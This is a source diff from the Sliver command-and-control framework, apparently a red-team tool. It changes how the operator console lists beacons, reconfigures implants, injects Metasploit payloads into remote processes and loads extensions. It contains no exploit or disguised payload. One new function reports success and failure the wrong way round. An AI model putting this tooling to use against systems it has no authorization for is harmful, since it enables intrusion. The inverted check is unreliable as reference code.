-			eta := nextCheckin.Sub(time.Now())
+			eta := time.Until(nextCheckin)
 			next = fmt.Sprintf("%s%s%s", console.Bold+console.Green, eta, console.Normal)
 		}
-		if 182 < width {
+		if con.Settings.SmallTermWidth < width {
 			tw.AppendRow(table.Row{
 				fmt.Sprintf(color+"%s"+console.Normal, strings.Split(beacon.ID, "-")[0]),
 				fmt.Sprintf(color+"%s"+console.Normal, beacon.Name),
@@ -148,9 +148,9 @@ func renderBeacons(beacons []*clientpb.Beacon, con *console.SliverConsoleClient)
 				fmt.Sprintf(color+"%s"+console.Normal, beacon.Transport),
 				fmt.Sprintf(color+"%s"+console.Normal, beacon.RemoteAddress),
 				fmt.Sprintf(color+"%s"+console.Normal, beacon.Hostname),
-				fmt.Sprintf(color+"%s"+console.Normal, beacon.Username),
+				fmt.Sprintf(color+"%s"+console.Normal, strings.TrimPrefix(beacon.Username, beacon.Hostname+"\\")),
 				fmt.Sprintf(color+"%s/%s"+console.Normal, beacon.OS, beacon.Arch),
-				fmt.Sprintf(color+"%s ago"+console.Normal, time.Now().Sub(time.Unix(beacon.LastCheckin, 0))),
+				fmt.Sprintf(color+"%s ago"+console.Normal, time.Since(time.Unix(beacon.LastCheckin, 0))),
 				next,
 			})
 		} else {
@@ -158,9 +158,9 @@ func renderBeacons(beacons []*clientpb.Beacon, con *console.SliverConsoleClient)
 				fmt.Sprintf(color+"%s"+console.Normal, strings.Split(beacon.ID, "-")[0]),
 				fmt.Sprintf(color+"%s"+console.Normal, beacon.Name),
 				fmt.Sprintf(color+"%s"+console.Normal, beacon.Transport),
-				fmt.Sprintf(color+"%s"+console.Normal, beacon.Username),
+				fmt.Sprintf(color+"%s"+console.Normal, strings.TrimPrefix(beacon.Username, beacon.Hostname+"\\")),
 				fmt.Sprintf(color+"%s/%s"+console.Normal, beacon.OS, beacon.Arch),
-				fmt.Sprintf(color+"%s ago"+console.Normal, time.Now().Sub(time.Unix(beacon.LastCheckin, 0))),
+				fmt.Sprintf(color+"%s ago"+console.Normal, time.Since(time.Unix(beacon.LastCheckin, 0))),
 				next,
 			})
 		}

client/command/beacons/prune.go

@@ -48,7 +48,7 @@ func BeaconsPruneCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		if time.Now().Before(nextCheckin) {
 			continue
 		}
-		delta := time.Now().Sub(nextCheckin)
+		delta := time.Since(nextCheckin)
 		if pruneDuration <= delta {
 			pruneBeacons = append(pruneBeacons, beacon)
 		}

client/command/commands.go

@@ -63,6 +63,7 @@ import (
 	"github.com/bishopfox/sliver/client/command/privilege"
 	"github.com/bishopfox/sliver/client/command/processes"
 	"github.com/bishopfox/sliver/client/command/reaction"
+	"github.com/bishopfox/sliver/client/command/reconfig"
 	"github.com/bishopfox/sliver/client/command/registry"
 	"github.com/bishopfox/sliver/client/command/screenshot"
 	"github.com/bishopfox/sliver/client/command/sessions"
@@ -475,6 +476,8 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.String("c", "cert", "", "path to PEM encoded certificate file (HTTPS only)")
 			f.String("k", "key", "", "path to PEM encoded private key file (HTTPS only)")
 			f.Bool("e", "lets-encrypt", false, "attempt to provision a let's encrypt certificate (HTTPS only)")
+			f.StringL("aes-encrypt-key", "", "encrypt stage with AES encryption key")
+			f.StringL("aes-encrypt-iv", "", "encrypt stage with AES encyption iv")
 		},
 		Run: func(ctx *grumble.Context) error {
 			con.Println()
@@ -503,6 +506,47 @@ func BindCommands(con *console.SliverConsoleClient) {
 		HelpGroup: consts.MultiplayerHelpGroup,
 	})
 
+	// [ Reconfig ] ---------------------------------------------------------------
+
+	con.App.AddCommand(&grumble.Command{
+		Name:     consts.ReconfigStr,
+		Help:     "Reconfigure the active beacon/session",
+		LongHelp: help.GetHelpFor([]string{consts.ReconfigStr}),
+		Flags: func(f *grumble.Flags) {
+			f.String("n", "name", "", "change implant name to")
+			f.String("r", "reconnect-interval", "", "reconnect interval for implant")
+			f.String("i", "beacon-interval", "", "beacon callback interval")
+			f.String("j", "beacon-jitter", "", "beacon callback jitter (random up to)")
+
+			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+		},
+		Run: func(ctx *grumble.Context) error {
+			con.Println()
+			reconfig.ReconfigCmd(ctx, con)
+			con.Println()
+			return nil
+		},
+		HelpGroup: consts.SliverHelpGroup,
+	})
+
+	con.App.AddCommand(&grumble.Command{
+		Name:     consts.RenameStr,
+		Help:     "Rename the active beacon/session",
+		LongHelp: help.GetHelpFor([]string{consts.RenameStr}),
+		Flags: func(f *grumble.Flags) {
+			f.String("n", "name", "", "change implant name to")
+
+			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+		},
+		Run: func(ctx *grumble.Context) error {
+			con.Println()
+			reconfig.RenameCmd(ctx, con)
+			con.Println()
+			return nil
+		},
+		HelpGroup: consts.SliverHelpGroup,
+	})
+
 	// [ Sessions ] --------------------------------------------------------------
 
 	sessionsCmd := &grumble.Command{
@@ -514,6 +558,7 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.String("k", "kill", "", "kill the designated session")
 			f.Bool("K", "kill-all", false, "kill all the sessions")
 			f.Bool("C", "clean", false, "clean out any sessions marked as [DEAD]")
+			f.Bool("f", "force", false, "force session action without waiting for results")
 
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
 		},
@@ -530,7 +575,7 @@ func BindCommands(con *console.SliverConsoleClient) {
 		Help:     "Kill all stale/dead sessions",
 		LongHelp: help.GetHelpFor([]string{consts.SessionsStr, consts.PruneStr}),
 		Flags: func(f *grumble.Flags) {
-
+			f.Bool("f", "force", false, "Force the killing of stale/dead sessions")
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
 		},
 		Run: func(ctx *grumble.Context) error {
@@ -543,26 +588,6 @@ func BindCommands(con *console.SliverConsoleClient) {
 	})
 	con.App.AddCommand(sessionsCmd)
 
-	con.App.AddCommand(&grumble.Command{
-		Name:     consts.ReconfigStr,
-		Help:     "Reconfigure the active session",
-		LongHelp: help.GetHelpFor([]string{consts.SessionsStr, consts.ReconfigStr}),
-		Flags: func(f *grumble.Flags) {
-			f.String("n", "name", "", "agent name to change to")
-			f.Int("r", "reconnect", -1, "reconnect interval for agent")
-			f.Int("p", "poll", -1, "poll interval for agent")
-
-			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
-		},
-		Run: func(ctx *grumble.Context) error {
-			con.Println()
-			sessions.SessionsReconfigCmd(ctx, con)
-			con.Println()
-			return nil
-		},
-		HelpGroup: consts.SliverHelpGroup,
-	})
-
 	con.App.AddCommand(&grumble.Command{
 		Name:     consts.BackgroundStr,
 		Help:     "Background an active session",
@@ -807,6 +832,30 @@ func BindCommands(con *console.SliverConsoleClient) {
 		},
 		HelpGroup: consts.GenericHelpGroup,
 	})
+	settingsCmd.AddCommand(&grumble.Command{
+		Name:     "always-overflow",
+		Help:     "Disable table pagination",
+		LongHelp: help.GetHelpFor([]string{consts.SettingsStr, "always-overflow"}),
+		Run: func(ctx *grumble.Context) error {
+			con.Println()
+			settings.SettingsAlwaysOverflow(ctx, con)
+			con.Println()
+			return nil
+		},
+		HelpGroup: consts.GenericHelpGroup,
+	})
+	settingsCmd.AddCommand(&grumble.Command{
+		Name:     "small-terminal",
+		Help:     "Set the small terminal width",
+		LongHelp: help.GetHelpFor([]string{consts.SettingsStr, "small-terminal"}),
+		Run: func(ctx *grumble.Context) error {
+			con.Println()
+			settings.SettingsSmallTerm(ctx, con)
+			con.Println()
+			return nil
+		},
+		HelpGroup: consts.GenericHelpGroup,
+	})
 	con.App.AddCommand(settingsCmd)
 
 	// [ Info ] --------------------------------------------------------------
@@ -1199,6 +1248,8 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.Int("X", "key-exchange", generate.DefaultWGKeyExPort, "wg key-exchange port")
 			f.Int("T", "tcp-comms", generate.DefaultWGNPort, "wg c2 comms port")
 
+			f.Bool("R", "run-at-load", false, "run the implant entrypoint from DllMain/Constructor (shared library only)")
+
 			f.Int("j", "reconnect", generate.DefaultReconnect, "attempt to reconnect every n second(s)")
 			f.Int("P", "poll-timeout", generate.DefaultPollTimeout, "long poll request timeout")
 			f.Int("k", "max-errors", generate.DefaultMaxErrors, "max number of connection errors")
@@ -1253,6 +1304,8 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.Int("X", "key-exchange", generate.DefaultWGKeyExPort, "wg key-exchange port")
 			f.Int("T", "tcp-comms", generate.DefaultWGNPort, "wg c2 comms port")
 
+			f.Bool("R", "run-at-load", false, "run the implant entrypoint from DllMain/Constructor (shared library only)")
+
 			f.Int("j", "reconnect", generate.DefaultReconnect, "attempt to reconnect every n second(s)")
 			f.Int("P", "poll-timeout", generate.DefaultPollTimeout, "long poll request timeout")
 			f.Int("k", "max-errors", generate.DefaultMaxErrors, "max number of connection errors")
@@ -1401,6 +1454,8 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.Int("X", "key-exchange", generate.DefaultWGKeyExPort, "wg key-exchange port")
 			f.Int("T", "tcp-comms", generate.DefaultWGNPort, "wg c2 comms port")
 
+			f.Bool("R", "run-at-load", false, "run the implant entrypoint from DllMain/Constructor (shared library only)")
+
 			f.Int("j", "reconnect", generate.DefaultReconnect, "attempt to reconnect every n second(s)")
 			f.Int("P", "poll-timeout", generate.DefaultPollTimeout, "long poll request timeout")
 			f.Int("k", "max-errors", generate.DefaultMaxErrors, "max number of connection errors")
@@ -1460,6 +1515,8 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.Int("X", "key-exchange", generate.DefaultWGKeyExPort, "wg key-exchange port")
 			f.Int("T", "tcp-comms", generate.DefaultWGNPort, "wg c2 comms port")
 
+			f.Bool("R", "run-at-load", false, "run the implant entrypoint from DllMain/Constructor (shared library only)")
+
 			f.Int("j", "reconnect", generate.DefaultReconnect, "attempt to reconnect every n second(s)")
 			f.Int("P", "poll-timeout", generate.DefaultPollTimeout, "long poll request timeout")
 			f.Int("k", "max-errors", generate.DefaultMaxErrors, "max number of connection errors")
@@ -1574,6 +1631,24 @@ func BindCommands(con *console.SliverConsoleClient) {
 
 	// [ Filesystem ] ---------------------------------------------
 
+	con.App.AddCommand(&grumble.Command{
+		Name:     consts.MvStr,
+		Help:     "Move or rename a file",
+		LongHelp: help.GetHelpFor([]string{consts.MvStr}),
+		Flags: func(f *grumble.Flags) {
+			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+		},
+		Args: func(a *grumble.Args) {
+			a.String("src", "path to source file")
+			a.String("dst", "path to dest file")
+		},
+		Run: func(ctx *grumble.Context) error {
+			err := filesystem.MvCmd(ctx, con)
+			return err
+		},
+		HelpGroup: consts.SliverHelpGroup,
+	})
+
 	con.App.AddCommand(&grumble.Command{
 		Name:     consts.LsStr,
 		Help:     "List current directory",
@@ -2089,6 +2164,7 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.String("k", "kill", "", "kill a beacon")
 			f.Bool("K", "kill-all", false, "kill all beacons")
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+			f.Bool("f", "force", false, "force killing of the beacon")
 		},
 		HelpGroup: consts.GenericHelpGroup,
 		Run: func(ctx *grumble.Context) error {

client/command/exec/execute-assembly.go

@@ -109,7 +109,7 @@ func PrintExecuteAssembly(execAssembly *sliverpb.ExecuteAssembly, hostname strin
 	var err error
 	if ctx.Flags.Bool("save") {
 		outFile := filepath.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, hostname))
-		outFilePath, err = ioutil.TempFile("", outFile)
+		outFilePath, _ = ioutil.TempFile("", outFile)
 	}
 	con.PrintInfof("Assembly output:\n%s", string(execAssembly.GetOutput()))
 	if outFilePath != nil {

client/command/exec/execute-shellcode.go

@@ -31,7 +31,7 @@ import (
 	"github.com/bishopfox/sliver/client/core"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
-	"golang.org/x/crypto/ssh/terminal"
+	"golang.org/x/term"
 	"google.golang.org/protobuf/proto"
 
 	"github.com/desertbit/grumble"
@@ -161,9 +161,9 @@ func executeInteractive(ctx *grumble.Context, hostProc string, shellcode []byte,
 	log.Printf("Bound remote program pid %d to tunnel %d", shell.Pid, shell.TunnelID)
 	con.PrintInfof("Started remote shell with pid %d\n\n", shell.Pid)
 
-	var oldState *terminal.State
+	var oldState *term.State
 	if !noPty {
-		oldState, err = terminal.MakeRaw(0)
+		oldState, err = term.MakeRaw(0)
 		log.Printf("Saving terminal state: %v", oldState)
 		if err != nil {
 			con.PrintErrorf("Failed to save terminal state\n")
@@ -195,7 +195,7 @@ func executeInteractive(ctx *grumble.Context, hostProc string, shellcode []byte,
 
 	if !noPty {
 		log.Printf("Restoring terminal state ...")
-		terminal.Restore(0, oldState)
+		term.Restore(0, oldState)
 	}
 
 	log.Printf("Exit interactive")

client/command/exec/msf-inject.go

@@ -33,8 +33,8 @@ import (
 
 // MsfInjectCmd - Inject a metasploit payload into a remote process
 func MsfInjectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	session := con.ActiveTarget.GetSessionInteractive()
-	if session == nil {
+	session, beacon := con.ActiveTarget.GetInteractive()
+	if session == nil && beacon == nil {
 		return
 	}
 
@@ -49,15 +49,23 @@ func MsfInjectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		con.PrintErrorf("Invalid lhost '%s', see `help %s`\n", lhost, consts.MsfInjectStr)
 		return
 	}
-
 	if pid == -1 {
 		con.PrintErrorf("Invalid pid '%s', see `help %s`\n", lhost, consts.MsfInjectStr)
 		return
 	}
+	var goos string
+	var goarch string
+	if session != nil {
+		goos = session.OS
+		goarch = session.Arch
+	} else {
+		goos = beacon.OS
+		goarch = beacon.Arch
+	}
 
 	ctrl := make(chan bool)
-	msg := fmt.Sprintf("Injecting payload %s %s/%s -> %s:%d ...",
-		payloadName, session.OS, session.Arch, lhost, lport)
+	msg := fmt.Sprintf("Sending msf payload %s %s/%s -> %s:%d ...",
+		payloadName, goos, goarch, lhost, lport)
 	con.SpinUntil(msg, ctrl)
 	msfTask, err := con.Rpc.MsfRemote(context.Background(), &clientpb.MSFRemoteReq{
 		Request:    con.ActiveTarget.Request(ctx),
@@ -90,6 +98,15 @@ func MsfInjectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	}
 }
 
+// PrintMsfRemote - Print the results of the remote injection attempt
 func PrintMsfRemote(msfRemote *sliverpb.Task, con *console.SliverConsoleClient) {
-
+	if msfRemote.Response == nil {
+		con.PrintErrorf("Empty response from msf payload injection task")
+		return
+	}
+	if msfRemote.Response.Err != "" {
+		con.PrintInfof("Executed payload on target")
+	} else {
+		con.PrintErrorf("Failed to inject payload: %s", msfRemote.Response.Err)
+	}
 }

client/command/exec/msf.go

@@ -25,14 +25,15 @@ import (
 	"github.com/bishopfox/sliver/client/console"
 	consts "github.com/bishopfox/sliver/client/constants"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"google.golang.org/protobuf/proto"
 
 	"github.com/desertbit/grumble"
 )
 
 // MsfCmd - Inject a metasploit payload into the current remote process
 func MsfCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	session := con.ActiveTarget.GetSessionInteractive()
-	if session == nil {
+	session, beacon := con.ActiveTarget.GetInteractive()
+	if session == nil && beacon == nil {
 		return
 	}
 
@@ -46,12 +47,21 @@ func MsfCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		con.PrintErrorf("Invalid lhost '%s', see `help %s`\n", lhost, consts.MsfStr)
 		return
 	}
+	var goos string
+	var goarch string
+	if session != nil {
+		goos = session.OS
+		goarch = session.Arch
+	} else {
+		goos = beacon.OS
+		goarch = beacon.Arch
+	}
 
 	ctrl := make(chan bool)
-	msg := fmt.Sprintf("Sending payload %s %s/%s -> %s:%d ...",
-		payloadName, session.OS, session.Arch, lhost, lport)
+	msg := fmt.Sprintf("Sending msf payload %s %s/%s -> %s:%d ...",
+		payloadName, goos, goarch, lhost, lport)
 	con.SpinUntil(msg, ctrl)
-	_, err := con.Rpc.Msf(context.Background(), &clientpb.MSFReq{
+	msfTask, err := con.Rpc.Msf(context.Background(), &clientpb.MSFReq{
 		Request:    con.ActiveTarget.Request(ctx),
 		Payload:    payloadName,
 		LHost:      lhost,
@@ -63,7 +73,20 @@ func MsfCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	<-ctrl
 	if err != nil {
 		con.PrintErrorf("%s\n", err)
+		return
+	}
+
+	if msfTask.Response != nil && msfTask.Response.Async {
+		con.AddBeaconCallback(msfTask.Response.TaskID, func(task *clientpb.BeaconTask) {
+			err = proto.Unmarshal(task.Response, msfTask)
+			if err != nil {
+				con.PrintErrorf("Failed to decode response %s\n", err)
+				return
+			}
+			PrintMsfRemote(msfTask, con)
+		})
+		con.PrintAsyncResponse(msfTask.Response)
 	} else {
-		con.PrintInfof("Executed payload on target\n")
+		PrintMsfRemote(msfTask, con)
 	}
 }

client/command/exec/psexec.go

@@ -86,7 +86,7 @@ func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		con.PrintErrorf("No profile found for name %s\n", profile)
 		return
 	}
-	sliverBinary, err := generate.GetSliverBinary(implantProfile, con)
+	sliverBinary, _ := generate.GetSliverBinary(implantProfile, con)
 	filename := randomString(10)
 	filePath := fmt.Sprintf("%s\\%s.exe", uploadPath, filename)
 	uploadGzip := new(encoders.Gzip).Encode(sliverBinary)

client/command/extensions/load.go

@@ -31,6 +31,7 @@ import (
 	"strings"
 
 	"github.com/bishopfox/sliver/client/assets"
+	"github.com/bishopfox/sliver/client/command/help"
 	"github.com/bishopfox/sliver/client/console"
 	consts "github.com/bishopfox/sliver/client/constants"
 	"github.com/bishopfox/sliver/client/core"
@@ -38,11 +39,13 @@ import (
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
 	"github.com/bishopfox/sliver/util"
 	"github.com/desertbit/grumble"
+	"google.golang.org/protobuf/proto"
 )
 
 const (
 	defaultTimeout = 60
 
+	// ManifestFileName - Extension manifest file name
 	ManifestFileName = "extension.json"
 )
 
@@ -56,6 +59,7 @@ type ExtensionManifest struct {
 	OriginalAuthor  string               `json:"original_author"`
 	RepoURL         string               `json:"repo_url"`
 	Help            string               `json:"help"`
+	LongHelp        string               `json:"long_help"`
 	Files           []*extensionFile     `json:"files"`
 	Arguments       []*extensionArgument `json:"arguments"`
 	Entrypoint      string               `json:"entrypoint"`
@@ -113,7 +117,7 @@ func ExtensionLoadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	con.PrintInfof("Added %s command: %s\n", extCmd.CommandName, extCmd.Help)
 }
 
-// ParseExtensions - Parse extension files
+// LoadExtensionManifest - Parse extension files
 func LoadExtensionManifest(manifestPath string) (*ExtensionManifest, error) {
 	data, err := ioutil.ReadFile(manifestPath)
 	if err != nil {
@@ -169,8 +173,9 @@ func ExtensionRegisterCommand(extCmd *ExtensionManifest, con *console.SliverCons
 	loadedExtensions[extCmd.CommandName] = extCmd
 	helpMsg := extCmd.Help
 	extensionCmd := &grumble.Command{
-		Name: extCmd.CommandName,
-		Help: helpMsg,
+		Name:     extCmd.CommandName,
+		Help:     helpMsg,
+		LongHelp: help.FormatHelpTmpl(extCmd.LongHelp),
 		Run: func(extCtx *grumble.Context) error {
 			con.Println()
 			runExtensionCmd(extCtx, con)
@@ -178,11 +183,11 @@ func ExtensionRegisterCommand(extCmd *ExtensionManifest, con *console.SliverCons
 			return nil
 		},
 		Flags: func(f *grumble.Flags) {
-			f.Bool("s", "save", false, "Save output to disk")
+			// f.Bool("s", "save", false, "Save output to disk")
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
 		},
 		Args: func(a *grumble.Args) {
-			if len(extCmd.Arguments) > 0 {
+			if 0 < len(extCmd.Arguments) {
 				// BOF specific
 				for _, arg := range extCmd.Arguments {
 					var (
@@ -190,12 +195,15 @@ func ExtensionRegisterCommand(extCmd *ExtensionManifest, con *console.SliverCons
 						defaultValue grumble.ArgOption
 					)
 					switch arg.Type {
-					case "int", "short":
+					case "int", "integer", "short":
 						argFunc = a.Int
 						defaultValue = grumble.Default(0)
 					case "string", "wstring", "file":
 						argFunc = a.String
 						defaultValue = grumble.Default("")
+					default:
+						con.PrintErrorf("Invalid argument type: %s\n", arg.Type)
+						return
 					}
 					if arg.Optional {
 						argFunc(arg.Name, arg.Desc, defaultValue)
@@ -212,27 +220,26 @@ func ExtensionRegisterCommand(extCmd *ExtensionManifest, con *console.SliverCons
 	con.App.AddCommand(extensionCmd)
 }
 
-func loadExtension(ctx *grumble.Context, session *clientpb.Session, con *console.SliverConsoleClient, ext *ExtensionManifest) error {
+func loadExtension(goos string, goarch string, checkCache bool, ext *ExtensionManifest, ctx *grumble.Context, con *console.SliverConsoleClient) error {
 	var extensionList []string
-	binPath, err := ext.getFileForTarget(ctx.Command.Name, session.OS, session.Arch)
+	binPath, err := ext.getFileForTarget(ctx.Command.Name, goos, goarch)
 	if err != nil {
 		return err
 	}
+
 	// Try to find the extension in the loaded extensions
-	if len(session.Extensions) == 0 {
+	if checkCache {
 		extList, err := con.Rpc.ListExtensions(context.Background(), &sliverpb.ListExtensionsReq{
 			Request: con.ActiveTarget.Request(ctx),
 		})
 		if err != nil {
-			con.PrintErrorf("%s\n", err.Error())
+			con.PrintErrorf("List extensions error: %s\n", err.Error())
 			return err
 		}
 		if extList.Response != nil && extList.Response.Err != "" {
 			return errors.New(extList.Response.Err)
 		}
 		extensionList = extList.Names
-	} else {
-		extensionList = session.Extensions
 	}
 	depLoaded := false
 	for _, extName := range extensionList {
@@ -248,7 +255,7 @@ func loadExtension(ctx *grumble.Context, session *clientpb.Session, con *console
 		// BOFs are not loaded by the DLL loader, but we make sure the loader itself is loaded
 		// Auto load the coff loader if we have it
 		if !depLoaded {
-			if errLoad := loadDep(session, con, ctx, ext.DependsOn); errLoad != nil {
+			if errLoad := loadDep(goos, goarch, ext.DependsOn, ctx, con); errLoad != nil {
 				return errLoad
 			}
 		}
@@ -258,31 +265,17 @@ func loadExtension(ctx *grumble.Context, session *clientpb.Session, con *console
 	if err != nil {
 		return err
 	}
-	if errRegister := registerExtension(con, ext, binData, session, ctx); errRegister != nil {
+	if errRegister := registerExtension(goos, ext, binData, ctx, con); errRegister != nil {
 		return errRegister
 	}
-	// Update session info
-	if filepath.Ext(binPath) != ".o" {
-		// Don't update session for BOFs, we don't cache them
-		// on the implant side (yet)
-		// update the Session info
-		_, err = con.Rpc.UpdateSession(context.Background(), &clientpb.UpdateSession{
-			Extensions: extensionList,
-			SessionID:  session.ID,
-		})
-		if err != nil {
-			con.PrintErrorf("%s\n", err.Error())
-			return err
-		}
-	}
 	return nil
 }
 
-func registerExtension(con *console.SliverConsoleClient, ext *ExtensionManifest, binData []byte, session *clientpb.Session, ctx *grumble.Context) error {
+func registerExtension(goos string, ext *ExtensionManifest, binData []byte, ctx *grumble.Context, con *console.SliverConsoleClient) error {
 	registerResp, err := con.Rpc.RegisterExtension(context.Background(), &sliverpb.RegisterExtensionReq{
 		Name:    ext.CommandName,
 		Data:    binData,
-		OS:      session.OS,
+		OS:      goos,
 		Init:    ext.Init,
 		Request: con.ActiveTarget.Request(ctx),
 	})
@@ -295,10 +288,10 @@ func registerExtension(con *console.SliverConsoleClient, ext *ExtensionManifest,
 	return nil
 }
 
-func loadDep(session *clientpb.Session, con *console.SliverConsoleClient, ctx *grumble.Context, depName string) error {
-	depExt, f := loadedExtensions[depName]
-	if f {
-		depBinPath, err := depExt.getFileForTarget(depExt.CommandName, session.OS, session.Arch)
+func loadDep(goos string, goarch string, depName string, ctx *grumble.Context, con *console.SliverConsoleClient) error {
+	depExt, ok := loadedExtensions[depName]
+	if ok {
+		depBinPath, err := depExt.getFileForTarget(depExt.CommandName, goos, goarch)
 		if err != nil {
 			return err
 		}
@@ -306,23 +299,31 @@ func loadDep(session *clientpb.Session, con *console.SliverConsoleClient, ctx *g
 		if err != nil {
 			return err
 		}
-		return registerExtension(con, depExt, depBinData, session, ctx)
+		return registerExtension(goos, depExt, depBinData, ctx, con)
 	}
 	return fmt.Errorf("missing dependency %s", depName)
 }
 
 func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	var (
-		callExtension *sliverpb.CallExtension
 		err           error
 		extensionArgs []byte
 		extName       string
 		entryPoint    string
 	)
-	session := con.ActiveTarget.GetSessionInteractive()
-	if session == nil {
+	session, beacon := con.ActiveTarget.GetInteractive()
+	if session == nil && beacon == nil {
 		return
 	}
+	var goos string
+	var goarch string
+	if session != nil {
+		goos = session.OS
+		goarch = session.Arch
+	} else {
+		goos = beacon.OS
+		goarch = beacon.Arch
+	}
 
 	ext, ok := loadedExtensions[ctx.Command.Name]
 	if !ok {
@@ -330,23 +331,15 @@ func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		return
 	}
 
-	if err = loadExtension(ctx, session, con, ext); err != nil {
+	checkCache := session != nil
+	if err = loadExtension(goos, goarch, checkCache, ext, ctx, con); err != nil {
 		con.PrintErrorf("Could not load extension: %s\n", err)
 		return
 	}
 
-	var outFilePath *os.File
-	if ctx.Flags.Bool("save") {
-		outFile := path.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, session.GetHostname()))
-		outFilePath, err = ioutil.TempFile("", outFile)
-		if err != nil {
-			con.PrintErrorf("%s\n", err)
-			return
-		}
-	}
-	binPath, err := ext.getFileForTarget(ctx.Command.Name, session.OS, session.Arch)
+	binPath, err := ext.getFileForTarget(ctx.Command.Name, goos, goarch)
 	if err != nil {
-		con.PrintErrorf("%s\n", err)
+		con.PrintErrorf("Failed to read extension file: %s\n", err)
 		return
 	}
 
@@ -361,7 +354,7 @@ func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		// Beacon Object File -- requires a COFF loader
 		extensionArgs, err = getBOFArgs(ctx, binPath, ext)
 		if err != nil {
-			con.PrintErrorf("Error: %s\n", err)
+			con.PrintErrorf("BOF args error: %s\n", err)
 			return
 		}
 		extName = ext.DependsOn
@@ -373,10 +366,11 @@ func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		extName = ext.CommandName
 		entryPoint = ext.Entrypoint
 	}
+
 	ctrl := make(chan bool)
 	msg := fmt.Sprintf("Executing %s ...", ctx.Command.Name)
 	con.SpinUntil(msg, ctrl)
-	callExtension, err = con.Rpc.CallExtension(context.Background(), &sliverpb.CallExtensionReq{
+	callExtResp, err := con.Rpc.CallExtension(context.Background(), &sliverpb.CallExtensionReq{
 		Name:    extName,
 		Export:  entryPoint,
 		Args:    extensionArgs,
@@ -385,22 +379,39 @@ func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	ctrl <- true
 	<-ctrl
 	if err != nil {
-		con.PrintErrorf("%s\n", err.Error())
+		con.PrintErrorf("Call extension error: %s\n", err.Error())
 		return
 	}
+
+	if callExtResp.Response != nil && callExtResp.Response.Async {
+		con.AddBeaconCallback(callExtResp.Response.TaskID, func(task *clientpb.BeaconTask) {
+			err = proto.Unmarshal(task.Response, callExtResp)
+			if err != nil {
+				con.PrintErrorf("Failed to decode call ext response %s\n", err)
+				return
+			}
+			PrintExtOutput(extName, ext.CommandName, callExtResp, con)
+		})
+		con.PrintAsyncResponse(callExtResp.Response)
+	} else {
+		PrintExtOutput(extName, ext.CommandName, callExtResp, con)
+	}
+}
+
+// PrintExtOutput - Print the ext execution output
+func PrintExtOutput(extName string, commandName string, callExtension *sliverpb.CallExtension, con *console.SliverConsoleClient) {
+	if extName == commandName {
+		con.PrintInfof("Successfully executed %s\n", extName)
+	} else {
+		con.PrintInfof("Successfully executed %s (%s)\n", commandName, extName)
+	}
+	if 0 < len(string(callExtension.Output)) {
+		con.PrintInfof("Got output:\n%s\n", callExtension.Output)
+	}
 	if callExtension.Response != nil && callExtension.Response.Err != "" {
 		con.PrintErrorf("%s\n", callExtension.Response.Err)
 		return
 	}
-	con.PrintInfof("Successfully executed %s\n", extName)
-	if len(callExtension.Output) > 0 {
-		con.PrintInfof("Got output:\n%s", string(callExtension.Output))
-		if outFilePath != nil {
-			outFilePath.Write(callExtension.Output)
-			con.PrintInfof("Output saved to %s\n", outFilePath.Name())
-		}
-		con.Println()
-	}
 }
 
 func getBOFArgs(ctx *grumble.Context, binPath string, ext *ExtensionManifest) ([]byte, error) {
@@ -415,6 +426,8 @@ func getBOFArgs(ctx *grumble.Context, binPath string, ext *ExtensionManifest) ([
 	// Parse BOF arguments from grumble
 	for _, arg := range ext.Arguments {
 		switch arg.Type {
+		case "integer":
+			fallthrough
 		case "int":
 			val := ctx.Args.Int(arg.Name)
 			err = argsBuffer.AddInt(uint32(val))

client/command/filesystem/mv.go

@@ -0,0 +1,84 @@
+package filesystem
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"google.golang.org/protobuf/proto"
+
+	"github.com/desertbit/grumble"
+)
+
+func MvCmd(ctx *grumble.Context, con *console.SliverConsoleClient) (err error) {
